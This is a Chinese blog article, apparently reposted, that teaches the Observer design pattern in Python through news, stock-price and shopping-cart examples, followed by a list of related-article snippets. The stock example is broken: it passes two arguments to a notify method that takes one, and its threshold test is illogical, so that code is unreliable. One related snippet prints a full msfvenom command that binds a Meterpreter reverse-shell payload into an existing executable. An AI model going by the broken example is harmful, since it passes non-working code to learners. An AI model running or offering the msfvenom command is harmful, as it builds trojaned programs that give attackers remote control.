Python中的观察者模式:从基础到实战

news2024/10/6 14:38:04

引言

在软件开发中,设计模式是解决特定问题的通用解决方案。观察者模式(Observer Pattern)是其中一种非常有用的模式,它定义了对象之间的一对多依赖关系,当一个对象状态发生变化时,所有依赖于它的对象都会得到通知并自动更新。这种模式在事件驱动的程序设计中尤为重要,例如GUI应用程序、网络通信、游戏开发等领域。

基础语法介绍

观察者模式包含两个主要角色:观察者(Observer)和被观察者(Subject)。被观察者维护一个观察者列表,并提供添加、删除和通知观察者的方法。观察者则需要实现一个更新接口,以便在被观察者状态变化时接收通知。

在Python中,观察者模式可以通过多种方式实现,但最常用的是使用回调函数。下面是一个基础的观察者模式实现:

class Subject:
    def __init__(self):
        self._observers = []

    def attach(self, observer):
        self._observers.append(observer)

    def detach(self, observer):
        self._observers.remove(observer)

    def notify(self, message):
        for observer in self._observers:
            observer.update(message)

class Observer:
    def update(self, message):
        raise NotImplementedError("Subclasses should implement this!")

class ConcreteObserver(Observer):
    def update(self, message):
        print(f"Observer received message: {message}")

# 使用
subject = Subject()
observer = ConcreteObserver()
subject.attach(observer)
subject.notify("Hello, Observer Pattern!")

基础实例

问题描述

假设我们有一个新闻发布系统,当有新新闻发布时,所有订阅者都应该收到通知。

代码示例

class NewsPublisher(Subject):
    def __init__(self):
        super().__init__()
        self._news = ""

    def set_news(self, news):
        self._news = news
        self.notify(self._news)

class NewsSubscriber(Observer):
    def update(self, news):
        print(f"News received: {news}")

# 使用
publisher = NewsPublisher()
subscriber = NewsSubscriber()
publisher.attach(subscriber)
publisher.set_news("Breaking News: Python 4.0 Released!")

进阶实例

问题描述

在更复杂的系统中,我们可能需要根据不同的条件通知不同的观察者。例如,一个股票交易系统,只有当特定股票的价格变动超过一定阈值时,才通知投资者。

高级代码实例

class StockPublisher(Subject):
    def __init__(self):
        super().__init__()
        self._stocks = {}

    def update_stock(self, stock, price):
        if self._stocks.get(stock, 0) != price:
            self._stocks[stock] = price
            self.notify(stock, price)

class StockSubscriber(Observer):
    def __init__(self, threshold):
        self.threshold = threshold

    def update(self, stock, price):
        if abs(price - self.threshold) > 0.05:
            print(f"Stock {stock} price changed to {price}, notifying!")

# 使用
publisher = StockPublisher()
subscriber = StockSubscriber(150)
publisher.attach(subscriber)
publisher.update_stock("AAPL", 155)

实战案例

问题描述

在开发一个电子商务网站时,我们需要实现一个功能,当用户将商品添加到购物车时,购物车页面应该实时更新。

解决方案

我们可以使用观察者模式来实现这个功能。购物车是被观察者,而购物车页面是观察者。

代码实现

class ShoppingCart(Subject):
    def __init__(self):
        super().__init__()
        self._items = []

    def add_item(self, item):
        self._items.append(item)
        self.notify(self._items)

class CartPage(Observer):
    def update(self, items):
        print(f"Cart updated with items: {items}")

# 使用
cart = ShoppingCart()
page = CartPage()
cart.attach(page)
cart.add_item("Laptop")
cart.add_item("Mouse")

扩展讨论

观察者模式在实际应用中非常灵活,可以通过多种方式进行扩展和优化。例如,可以引入事件队列来异步处理通知,或者使用更高级的消息传递机制如消息队列(MQ)来处理跨服务的通知。

此外,观察者模式还可以与其他设计模式结合使用,如命令模式(Command Pattern)来封装通知的具体内容,或者状态模式(State Pattern)来管理观察者的状态变化。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192130.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十二、血条UI

一、制作血条UI 注:一般不用Slider制作血条;而是用两个Image制作,选择为填充 使用Slider滑动条制作UI 人物血条:背景深绿色;滑条浅绿色 在场景中的画布选择为OverLay 敌人血条: 在预制体里面制作&#x…

自动驾驶系列—自动驾驶背后的数据通道:通信总线技术详解与应用场景分析

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

最具有世界影响力的人颜廷利:全球著名哲学家思想家起名大师

颜廷利教授,这位源自济南唐王镇的杰出人物,不仅是中国当代最杰出的国学大师之一,更是将传统文化与现代科技巧妙结合的先锋。他积极推崇以人工智能技术为辅助的国学研究方法,为这一古老领域注入了新的活力和时代表达。 除了在学术…

【LeetCode】每日一题 2024_10_6 加油站(贪心)

前言 每天和你一起刷 LeetCode 每日一题~ 大家国庆节快乐呀~ LeetCode 启动! 国庆第 6 天,在加油站 . . . 题目:加油站 代码与解题思路 今天这道题目是力扣上的经典贪心(第 134 题) func canCompleteCircuit(gas…

springboot中配置优先级

先来看在idea当中运行程序时,如何来指定Java系统属性和命令行参数。 系统属性 1、右键启动类,点击Edit Configuration 点击Modify options 选择Add VM options,就是系统属性 选择Program arguements,就是命令行参数 总结&#…

排查和解决JVM OOM实战

JVM OOM介绍 Java内存区域布局 下面的分析中都是基于JDK 8开始的。关于JMM不过多介绍每个区域的作用。OOM不单只会发生在堆内存,也可能是因为元空间或直接内存泄漏导致OOM,此时在OOM的详细信息中会有不同体现。 Java OOM的类别 java.lang.OutOfMemory…

CSS 布局——清除浮动 (二)

目录 1. 清除浮动 2. 清除浮动本质 3. 清除浮动 4. 清除浮动方法 4.1 额外标签法 4.1.1 总结 4.2 父级添加 overflow 4.3 after 伪元素法 4.4 双伪元素清除浮动 5 总结 1. 清除浮动 这是上面的源代码&#xff1a; <!DOCTYPE html> <html lang"en"&…

飞书消息转发

飞书是字节跳动开发的一个款即时通讯软件 不同与微信和钉钉&#xff0c;飞书是基于Electron的跨平台桌面客户端&#xff08;主要开发语言是JavaScript&#xff09;&#xff0c;程序运行在chrom内核中&#xff0c;所以HOOK方案不好使 针对Electron 框架&#xff0c;打包后的应用…

京东e卡滑块 分析

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 有相关问题请第一时间头像私信联系我删…

AI2.0时代,普通小白如何通过AI月入30万

最近这2年AI真的太火了&#xff0c;很多人都在讨论怎么用AI赚钱、提高效率。其实&#xff0c;我觉得AI并没有那么复杂&#xff0c;尤其是如果你不做AI底层研究&#xff0c;只是利用它来帮你省事、提效、赚钱&#xff0c;那就像当初学用电脑、用手机一样简单。你不需要懂AI的技术…

《数据结构》--栈【概念应用、图文并茂】

本节讲完栈下次再讲一下队列&#xff0c;最后补充一个串&#xff0c;我们的线性结构基本就完事了。下图中黄色框框圈中的是我们今日份内容(分为两篇博客)&#xff1a; 知识体系图 栈(Stack-LIFO)结构 栈的基础概念 栈(Stack)是一个后进先出(Last-In-First-Out)的一个特殊数据…

【Linux的那些事】shell命名及Linux权限的理解

目录 一、shell命令以及运行原理 二、Linux权限的概念 三、Linux权限管理 3.1.文件访问者的分类&#xff08;人&#xff09; 3.2.文件类型和访问权限&#xff08;事物属性&#xff09; 3.3.文件权限值的表示方法 3.4.文件访问权限的相关设置方法 a)chmod b)chown c)…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

在线教育的未来:SpringBoot技术实现

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…

二进制的神奇操作——拆位法和贡献思想

拆位的引入 我们来思考这么一个问题&#xff0c;如果给你一个数组&#xff0c;让你去求一个数组里面所有连续子串的异或和的和&#xff0c;问你该怎么求&#xff1f; 我们该如何去处理&#xff0c;首先肯定是会想到暴力的思路&#xff0c;第一层循环遍历左端点&#xff0c;第…

算法闭关修炼百题计划(三)

减轻复习压力&#xff0c;一篇只有十题左右 1.反转链表II2.LRU缓存3.合并区间4.快速排序5.数字中的第k个最大元素6.归并排序7.每种字符至少取k个8.螺旋矩阵II9.旋转图像10.删除数组中重复的元素II 1.反转链表II 给你单链表的头指针 head 和两个整数 left 和 right &#xff0c…

洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载

一、前言 【试用版软件下载可点击本文章最下方官网卡片】 洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载 洗车管理软件应用是洗车业务的得力助手&#xff0c;实现会员管理及数据统计一体化&#xff0c;助力店铺高效、有序运营。 洗车项…

年薪96w!这才是运营人未来5年最好的就业方向!

运营人&#xff0c;终于被逼疯了&#xff01; 一个人一个部门&#xff01;文案、策划、拍摄、剪辑、运营、销售什么都做。企业利润为王&#xff0c;阅读量、粉丝量要是不能转化为业绩&#xff0c;注定拿不到高薪…… **活干了一大堆&#xff0c;一看工资8000块&#xff0c;**…

【黑马点评】 使用RabbitMQ实现消息队列——2.使用RabbitMQ监听秒杀下单

2 使用RabbitMQ实现消息队列 2.1 修改\hm-dianping\pom.xmlpom.xml文件 添加RabbitMQ的环境 <!-- RabbitMQ--> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId> </depe…

从零开始,她如何为客户创建语义知识图谱?

在这篇文章中&#xff0c;Capgemini 的知识图谱负责人 Veronika Heimsbakk 分享了她为客户创建语义知识模型的方法。阅读本指南&#xff0c;了解她如何与客户合作&#xff0c;从头开始构建语义知识模型&#xff0c;并发现可以应用于您自己的语义建模项目的实践。 如何为客户构…